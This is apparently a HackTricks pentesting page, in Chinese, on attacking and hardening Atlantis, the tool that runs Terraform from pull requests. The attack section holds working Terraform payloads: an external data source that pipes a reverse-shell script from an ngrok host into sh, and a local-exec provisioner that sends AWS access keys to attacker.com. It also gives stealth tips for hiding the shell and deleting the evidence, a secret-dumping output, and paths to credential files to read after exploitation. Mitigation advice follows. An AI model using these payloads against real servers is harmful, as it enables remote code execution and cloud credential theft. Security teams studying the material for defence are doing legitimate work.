Atlantis Security

支持 HackTricks

基本信息

Atlantis 基本上帮助你从 git 服务器的 Pull Requests 运行 terraform。

本地实验室

  1. 前往 atlantis 发布页面 https://github.com/runatlantis/atlantis/releases下载 适合你的版本。

  2. 创建一个 个人令牌(具有 repo 访问权限)你的 github 用户

  3. 执行 ./atlantis testdrive,它将创建一个你可以用来 与 atlantis 交互的 demo repo

  4. 你可以在 127.0.0.1:4141 访问网页

Atlantis 访问

Git 服务器凭据

Atlantis 支持多个 git 主机,如 GithubGitlabBitbucketAzure DevOps。 然而,为了访问这些平台上的 repos 并执行操作,它需要获得一些 特权访问权限(至少写权限)。 文档 鼓励在这些平台上为 Atlantis 创建一个用户,但有些人可能会使用个人账户。

在任何情况下,从攻击者的角度来看,Atlantis 账户将是一个非常 有趣的 目标

Webhooks

Atlantis 可选地使用 Webhook secrets 来验证它从你的 Git 主机接收的 webhooks 是否 合法

确认这一点的一种方法是 仅允许来自你的 Git 主机的 IP 的请求,但更简单的方法是使用 Webhook Secret。

请注意,除非你使用私有的 github 或 bitbucket 服务器,否则你需要将 webhook 端点暴露到互联网。

Atlantis 将 暴露 webhooks,以便 git 服务器可以向其发送信息。从攻击者的角度来看,了解 你是否可以向其发送消息 将是有趣的。

提供者凭据

来自文档:

Atlantis 通过简单地 在其托管的服务器上执行 terraform planapply 命令来运行 Terraform。就像在本地运行 Terraform 一样,Atlantis 需要你特定提供者的凭据。

你可以选择如何 提供凭据 给 Atlantis:

  • Atlantis Helm ChartAWS Fargate Module 有自己的提供者凭据机制。请阅读它们的文档。

  • 如果你在云中运行 Atlantis,那么许多云都有方法为在其上运行的应用程序提供云 API 访问权限,例如:

  • AWS EC2 Roles(搜索 "EC2 Role")

  • 许多用户设置环境变量,例如 AWS_ACCESS_KEY,在 Atlantis 运行的地方。

  • 其他人创建必要的配置文件,例如 ~/.aws/credentials,在 Atlantis 运行的地方。

  • 使用 HashiCorp Vault Provider 获取提供者凭据。

运行 Atlantis容器 很可能 包含特权凭据,用于 Atlantis 通过 Terraform 管理的提供者(AWS、GCP、Github...)。

网页

默认情况下,Atlantis 将在本地主机的 4141 端口运行一个网页。该页面仅允许你启用/禁用 atlantis apply 并检查 repos 的计划状态并解锁它们(它不允许修改内容,因此不是很有用)。

你可能不会发现它暴露在互联网上,但默认情况下 不需要凭据 来访问它(如果需要,atlantis:atlantis默认 的)。

服务器配置

atlantis server 的配置可以通过命令行标志、环境变量、配置文件或三者的混合来指定。

值的 选择顺序 为:

  1. 标志

  2. 环境变量

  3. 配置文件

请注意,在配置中,你可能会发现一些有趣的值,如 令牌和密码

Repos 配置

某些配置会影响 repos 的管理方式。然而,可能 每个 repo 需要不同的设置,因此有方法可以指定每个 repo。这是优先顺序:

  1. Repo /atlantis.yml 文件。该文件可用于指定 atlantis 应如何处理该 repo。然而,默认情况下某些键在没有某些标志允许的情况下无法在此处指定。

  2. 可能需要通过 allowed_overridesallow_custom_workflows 等标志来允许

  3. 服务器端配置:你可以通过标志 --repo-config 传递它,这是一个 yaml 配置每个 repo 的新设置(支持正则表达式)

  4. 默认

PR 保护

Atlantis 允许指示你是否希望 PR 被其他人 批准(即使在分支保护中未设置)和/或在运行 apply 之前 可合并(分支保护通过)。从安全角度来看,设置这两个选项是推荐的。

如果 allowed_overrides 为 True,这些设置可以在每个项目的 /atlantis.yml 文件中 被覆盖

脚本

repo 配置可以 指定脚本工作流执行之前 使用 (pre workflow hooks) 和 之后 使用 (post workflow hooks)。

没有任何选项允许在 repo /atlantis.yml 文件中 指定 这些脚本。

工作流

在 repo 配置(服务器端配置)中,你可以 指定一个新的默认工作流,或 创建新的自定义工作流. 你还可以 指定 哪些 repos 可以 访问 生成的新工作流。 然后,你可以允许每个 repo 的 atlantis.yaml 文件 指定要使用的工作流

如果 服务器端配置 标志 allow_custom_workflows 设置为 True,则可以在每个 repo 的 atlantis.yaml 文件中 指定 工作流。还可能需要 allowed_overrides 也指定 workflow覆盖将要使用的工作流。 这将基本上给 任何可以访问该 repo 的用户在 Atlantis 服务器上提供 RCE

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Conftest 策略检查

Atlantis 支持在计划输出上运行 server-side conftest 策略。使用此步骤的常见用例包括:

  • 拒绝使用模块列表

  • 在创建时断言资源的属性

  • 捕获无意的资源删除

  • 防止安全风险(即将安全端口暴露给公众)

您可以在 文档中 查看如何配置它。

Atlantis 命令

在文档中 您可以找到运行 Atlantis 的选项:

# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options

攻击

如果在利用过程中发现此 错误: Error: Error acquiring the state lock

您可以通过运行以下命令来修复它:

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

Atlantis计划RCE - 在新PR中修改配置

如果您对一个仓库具有写入权限,您将能够在其上创建一个新分支并生成一个PR。如果您可以执行 atlantis plan(或者可能是自动执行的)您将能够在Atlantis服务器内部进行RCE

您可以通过让Atlantis加载外部数据源来做到这一点。只需在main.tf文件中放入如下有效负载:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

更隐蔽的攻击

您可以通过遵循以下建议以更隐蔽的方式执行此攻击:

  • 与其直接将反向 shell 添加到 terraform 文件中,不如加载一个包含反向 shell 的外部资源

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

您可以在 https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules 找到 rev shell 代码。

  • 在外部资源中,使用 ref 功能来隐藏 repo 中某个分支的 terraform rev shell 代码,类似于:git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

  • 而不是 创建一个 PR 到 master 来触发 Atlantis,创建 2 个分支(test1 和 test2),并从一个分支创建 PR 到另一个分支。完成攻击后,只需 删除 PR 和分支

Atlantis 计划秘密转储

您可以通过在 terraform 文件中放置类似以下内容来 转储 terraform 使用的秘密,运行 atlantis planterraform plan):

output "dotoken" {
value = nonsensitive(var.do_token)
}

Atlantis apply RCE - 在新PR中修改配置

如果您对一个仓库具有写入权限,您将能够在其上创建一个新分支并生成一个PR。如果您可以执行 atlantis apply,您将能够在Atlantis服务器内部进行RCE

然而,您通常需要绕过一些保护措施:

  • 可合并:如果在Atlantis中设置了此保护,您只能在PR可合并时运行 atlantis apply(这意味着需要绕过分支保护)。

  • 检查潜在的分支保护绕过

  • 已批准:如果在Atlantis中设置了此保护,某个其他用户必须批准PR,您才能运行 atlantis apply

  • 默认情况下,您可以滥用Gitbot令牌来绕过此保护

在恶意Terraform文件上运行**terraform apply,使用**local-exec 您只需确保一些有效载荷,如以下内容,结束在 main.tf 文件中:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

遵循前一种技术的建议更隐蔽的方式执行此攻击。

Terraform 参数注入

当运行 atlantis planatlantis apply 时,terraform 在后台运行,您可以通过在 atlantis 中注释某些内容来向 terraform 传递命令,例如:

atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help

可以传递的内容是环境变量,这可能有助于绕过某些保护。检查 terraform 环境变量在 https://www.terraform.io/cli/config/environment-variables

自定义工作流

运行在 atlantis.yaml 文件中指定的 恶意自定义构建命令。Atlantis 使用来自拉取请求分支的 atlantis.yaml 文件,而不是 master。 这个可能性在前面的部分中提到过:

如果 服务器端配置 标志 allow_custom_workflows 设置为 True,则可以在每个仓库的 atlantis.yaml 文件中 指定 工作流。还可能需要 allowed_overrides 也指定 workflow覆盖将要使用的工作流

这基本上会给 任何可以访问该仓库的用户在 Atlantis 服务器上提供 RCE

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

绕过计划/应用保护

如果 服务器端配置 标志 allowed_overrides 配置 apply_requirements,则一个仓库可以 修改计划/应用保护以绕过它们

repos:
- id: /.*/
apply_requirements: []

PR Hijacking

如果有人在您的有效拉取请求上发送 atlantis plan/apply 评论,这将导致 terraform 在您不希望它运行时执行。

此外,如果您没有在 分支保护 中配置在 新提交推送 到它时要求 重新评估 每个 PR,那么有人可能会在 terraform 配置中 编写恶意配置(查看之前的场景),运行 atlantis plan/apply 并获得 RCE。

这是 Github 分支保护中的 设置

Webhook Secret

如果您设法 窃取 webhook secret 或者如果 没有使用任何 webhook secret,您可以 调用 Atlantis webhook直接调用 atlantis 命令

Bitbucket

Bitbucket Cloud 不支持 webhook secrets。这可能允许攻击者 伪造来自 Bitbucket 的请求。确保您只允许 Bitbucket IP。

  • 这意味着 攻击者 可以向 Atlantis 发出看似来自 Bitbucket 的 虚假请求

  • 如果您指定了 --repo-allowlist,那么他们只能伪造与那些仓库相关的请求,因此他们能造成的最大损害将是对您自己仓库的 plan/apply。

  • 为了防止这种情况,请允许 Bitbucket 的 IP 地址(请参见出站 IPv4 地址)。

Post-Exploitation

如果您设法访问了服务器,或者至少您获得了 LFI,有一些有趣的内容您应该尝试读取:

  • /home/atlantis/.git-credentials 包含 vcs 访问凭据

  • /atlantis-data/atlantis.db 包含更多信息的 vcs 访问凭据

  • /atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate Terraform 状态文件

  • 示例:/atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate

  • /proc/1/environ 环境变量

  • /proc/[2-20]/cmdline atlantis server 的命令行(可能包含敏感数据)

Mitigations

Don't Use On Public Repos

因为任何人都可以在公共拉取请求上评论,即使有所有可用的安全缓解措施,在没有适当配置安全设置的情况下在公共仓库上运行 Atlantis 仍然是危险的。

Don't Use --allow-fork-prs

如果您在公共仓库上运行(不推荐,见上文),您不应该设置 --allow-fork-prs(默认为 false),因为任何人都可以从他们的 fork 向您的仓库打开拉取请求。

--repo-allowlist

Atlantis 要求您通过 --repo-allowlist 标志指定一个允许列表,接受来自该列表的 webhook。例如:

  • 特定仓库:--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests

  • 您的整个组织:--repo-allowlist=github.com/runatlantis/*

  • 您的 GitHub 企业安装中的每个仓库:--repo-allowlist=github.yourcompany.com/*

  • 所有仓库:--repo-allowlist=*。在受保护的网络中使用时很有用,但如果没有设置 webhook secret 则很危险。

此标志确保您的 Atlantis 安装未与您不控制的仓库一起使用。有关更多详细信息,请参见 atlantis server --help

Protect Terraform Planning

如果攻击者提交带有恶意 Terraform 代码的拉取请求在您的威胁模型中,那么您必须意识到 terraform apply 批准是不够的。可以使用 external 数据源 或通过指定恶意提供程序在 terraform plan 中运行恶意代码。然后,这段代码可能会外泄您的凭据。

为了防止这种情况,您可以:

  1. 将提供程序打包到 Atlantis 镜像中或托管并在生产中拒绝出站。

  2. 在内部实现提供程序注册协议并拒绝公共出站,这样您可以控制谁有写入注册表的权限。

  3. 修改您的 服务器端仓库配置plan 步骤,以验证不允许的提供程序或数据源或不允许用户的 PR 的使用。您还可以在此时添加额外的验证,例如在允许 plan 继续之前要求 PR 上有“点赞”。Conftest 在这里可能会有用。

Webhook Secrets

Atlantis 应该通过 $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET 环境变量设置 webhook secrets。即使设置了 --repo-allowlist 标志,如果没有 webhook secret,攻击者也可以伪装成允许列表中的仓库向 Atlantis 发出请求。Webhook secrets 确保 webhook 请求确实来自您的 VCS 提供商(GitHub 或 GitLab)。

如果您使用 Azure DevOps,请添加基本用户名和密码,而不是 webhook secrets。

Azure DevOps Basic Authentication

Azure DevOps 支持在所有 webhook 事件中发送基本身份验证头。这需要为您的 webhook 位置使用 HTTPS URL。

SSL/HTTPS

如果您使用 webhook secrets,但您的流量是通过 HTTP,那么 webhook secrets 可能会被窃取。使用 --ssl-cert-file--ssl-key-file 标志启用 SSL/HTTPS。

Enable Authentication on Atlantis Web Server

强烈建议在 Web 服务中启用身份验证。使用 --web-basic-auth=true 启用 BasicAuth,并使用 --web-username=yourUsername--web-password=yourPassword 标志设置用户名和密码。

您还可以将这些作为环境变量传递 ATLANTIS_WEB_BASIC_AUTH=true ATLANTIS_WEB_USERNAME=yourUsernameATLANTIS_WEB_PASSWORD=yourPassword

References

支持 HackTricks

Last updated